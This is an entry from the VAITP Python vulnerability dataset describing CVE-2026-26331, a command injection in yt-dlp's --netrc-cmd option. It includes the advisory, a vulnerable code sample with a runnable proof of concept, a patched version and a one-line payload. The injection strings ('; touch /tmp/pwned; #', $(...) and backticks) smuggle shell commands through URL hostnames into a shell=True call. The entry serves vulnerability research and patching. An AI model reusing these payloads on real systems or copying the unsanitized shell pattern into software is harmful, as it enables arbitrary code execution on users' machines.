VAITP Dataset

← Back to the dataset

CVE-2026-26331

yt-dlp –netrc-cmd vulnerable to command injection via malicious URL.

  • CVSS 8.8
  • CWE-78
  • Input Validation and Sanitization
  • Remote

yt-dlp is a command-line audio/video downloader. Starting in version 2023.06.21 and prior to version 2026.02.21, when yt-dlp's `–netrc-cmd` command-line option (or `netrc_cmd` Python API parameter) is used, an attacker could achieve arbitrary command injection on the user's system with a maliciously crafted URL. yt-dlp maintainers assume the impact of this vulnerability to be high for anyone who uses `–netrc-cmd` in their command/configuration or `netrc_cmd` in their Python scripts. Even though the maliciously crafted URL itself will look very suspicious to many users, it would be trivial for a maliciously crafted webpage with an inconspicuous URL to covertly exploit this vulnerability via HTTP redirect. Users without `–netrc-cmd` in their arguments or `netrc_cmd` in their scripts are unaffected. No evidence has been found of this exploit being used in the wild. yt-dlp version 2026.02.21 fixes this issue by validating all netrc "machine" values and raising an error upon unexpected input. As a workaround, users who are unable to upgrade should avoid using the `–netrc-cmd` command-line option (or `netrc_cmd` Python API parameter), or they should at least not pass a placeholder (`{}`) in their `–netrc-cmd` argument.

CVSS base score
8.8
Published
2026-02-24
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
yt-dlp
Fixed by upgrading
Yes

Solution

Upgrade yt-dlp to version 2026.02.21 or later.

Vulnerable code sample

import os
import subprocess
from urllib.parse import urlparse

def vulnerable_yt_dlp_simulation(url, netrc_cmd_template):
    """
    This function provides a simplified representation of the vulnerable logic
    in yt-dlp versions affected by CVE-2026-26331. It is not the actual
    source code but demonstrates the core flaw.

    The vulnerability lies in the lack of validation of the 'machine' name
    (hostname) extracted from the URL before it is substituted into the
    'netrc_cmd' string and executed by the shell.
    """

    # In a vulnerable code path, the hostname is extracted from the URL.
    # A sophisticated attacker can craft a URL where urlparse().hostname
    # might return a malicious string, or a fallback parsing method
    # might be used that is vulnerable. For this demonstration, we simulate
    # a naive extraction that captures the malicious payload.
    try:
        # This naive split is used to ensure the malicious part is captured,
        # as urlparse might reject the malformed hostname.
        machine_name = url.split('/')[2]
    except IndexError:
        print("[Error] Could not extract machine name from URL.")
        return

    # The machine_name is not sanitized or validated for shell metacharacters.
    # It is directly formatted into the command template.
    if '{}' in netrc_cmd_template:
        command_to_execute = netrc_cmd_template.format(machine_name)
        print(f"[*] Constructed Command: {command_to_execute}")

        # The command is executed using the system's shell (shell=True).
        # This is the point where the command injection occurs, as the shell
        # will interpret metacharacters like ';' in the 'machine_name'.
        print("[!] Executing command via shell. This is the vulnerability.")
        subprocess.run(command_to_execute, shell=True, text=True)


# --- Demonstration of the Exploit ---

# 1. A user's script or configuration uses the `netrc_cmd` parameter.
#    The placeholder `{}` is used to pass the hostname to a helper command.
#    For this PoC, `echo` is used as the helper command.
user_configured_netrc_cmd = "echo 'Attempting to get credentials for machine: {}'"

# 2. An attacker crafts a malicious URL. The "hostname" field contains
#    a payload designed to inject a new command.
#
#    Payload: '; touch /tmp/pwned; #'
#    - '        : Closes the opening quote from the `echo` command.
#    - ;        : Terminates the `echo` command.
#    - touch... : The arbitrary command to be executed.
#    - ; #      : Terminates the injected command and comments out the rest
#                 of the original command string to avoid syntax errors.
malicious_url = "https://'example.com';touch /tmp/pwned;#/video/path"

# 3. The vulnerable function is called with the user's config and the malicious URL.
print("--- Starting Vulnerability Demonstration ---")
if os.path.exists('/tmp/pwned'):
    os.remove('/tmp/pwned')

vulnerable_yt_dlp_simulation(malicious_url, user_configured_netrc_cmd)

# 4. Verify if the exploit was successful.
print("\n--- Verification ---")
if os.path.exists('/tmp/pwned'):
    print("[SUCCESS] The file '/tmp/pwned' was created. The exploit was successful.")
    os.remove('/tmp/pwned')  # Clean up the created file.
else:
    print("[FAILURE] The exploit did not create the file '/tmp/pwned'.")
    print("           This may occur on non-Unix-like systems (e.g., Windows)")
    print("           where 'touch' is not a default command.")

Patched code sample

import re
import shlex
from urllib.parse import urlparse

# This code demonstrates the fix for CVE-2026-26331.
# The vulnerability allowed for command injection through the 'netrc_cmd' parameter
# because the hostname ('machine') from a URL was not validated before being
# substituted into a shell command string.
#
# The fix involves strictly validating the hostname to ensure it does not contain
# any characters that could be interpreted by a shell.

def _get_validated_netrc_machine(url):
    """
    Represents the fixed logic in yt-dlp.

    It parses a URL to extract the hostname (the 'machine' for netrc)
    and validates it to prevent command injection. It raises a ValueError if
    the hostname contains any characters not typical for a hostname, such as
    shell metacharacters.

    Args:
        url (str): The URL to process.

    Returns:
        str: The validated hostname.

    Raises:
        ValueError: If the hostname is missing or contains disallowed characters.
    """
    hostname = urlparse(url).hostname
    if not hostname:
        raise ValueError('Could not extract hostname from URL')

    # THE FIX:
    # Validate the hostname to ensure it only contains characters valid for a
    # hostname (alphanumeric, hyphen, dot). This prevents shell metacharacters
    # (like ';', '|', '$', '`', etc.) from being passed to the command.
    if not re.fullmatch(r'[a-zA-Z0-9.-]+', hostname):
        # In a real scenario, this error prevents the malicious string from ever
        # reaching the shell command execution stage.
        raise ValueError(f'Disallowed characters in machine name for netrc-cmd: {hostname!r}')

    return hostname

def simulate_command_execution(url, netrc_cmd_template):
    """
    Simulates the process of building and executing a command with the
    `netrc_cmd` parameter, using the fixed validation logic.
    """
    print(f'--- Processing URL: {url} ---')
    try:
        # 1. Get the hostname using the NEW, FIXED validation logic.
        validated_machine = _get_validated_netrc_machine(url)
        print(f"Hostname '{validated_machine}' passed validation.")

        # 2. Safely construct the command.
        # Note: Even with validation, using shlex.quote is a best practice
        # for defense-in-depth.
        command = netrc_cmd_template.format(shlex.quote(validated_machine))
        print(f"SAFE command to be executed: {command}\n")

    except ValueError as e:
        # The validation logic caught the malicious input and raised an error.
        print(f"VALIDATION FAILED: {e}")
        print("Malicious command execution was PREVENTED.\n")


if __name__ == '__main__':
    # This is the command template a user might provide via `--netrc-cmd`.
    # The `{}` is where the hostname ('machine') is meant to be inserted.
    NETRC_CMD_TEMPLATE = 'my_credential_helper.sh {}'

    # --- Scenario 1: A normal, legitimate URL ---
    # The hostname 'example.com' is valid and passes the check.
    legitimate_url = 'https://user:password@example.com/video.mp4'
    simulate_command_execution(legitimate_url, NETRC_CMD_TEMPLATE)

    # --- Scenario 2: A maliciously crafted URL for command injection ---
    # The "hostname" is '; touch /tmp/pwned; #.example.com'.
    # A vulnerable system would execute:
    #   my_credential_helper.sh ; touch /tmp/pwned; #.example.com
    # The fixed system detects the invalid characters (';', ' ') and stops.
    malicious_url = 'https://user:password@; touch /tmp/pwned; #.example.com/video.mp4'
    simulate_command_execution(malicious_url, NETRC_CMD_TEMPLATE)

    # --- Scenario 3: Another malicious URL using command substitution ---
    # The "hostname" is '`uname -a`.example.com'.
    # The fixed system detects the invalid backtick character and stops.
    malicious_url_2 = 'https://user:password@`uname -a`.example.com/video.mp4'
    simulate_command_execution(malicious_url_2, NETRC_CMD_TEMPLATE)

Payload

yt-dlp --netrc-cmd "echo machine {} login user password pass" "https://example.com;$(touch /tmp/pwned);#/video"

Cite this entry

@misc{vaitp:cve202626331,
  title        = {{yt-dlp --netrc-cmd vulnerable to command injection via malicious URL.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-26331},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-26331/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::